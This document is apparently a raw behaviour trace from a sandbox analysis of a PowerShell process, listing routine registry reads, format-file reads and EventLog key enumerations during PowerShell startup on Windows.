Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 2530 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 542, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 2762 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 310, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 281 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 4096 True 62
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 3895 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 201, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 4096 True 21
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 3687 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 409, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 2228 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 844, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 3736 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 360, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
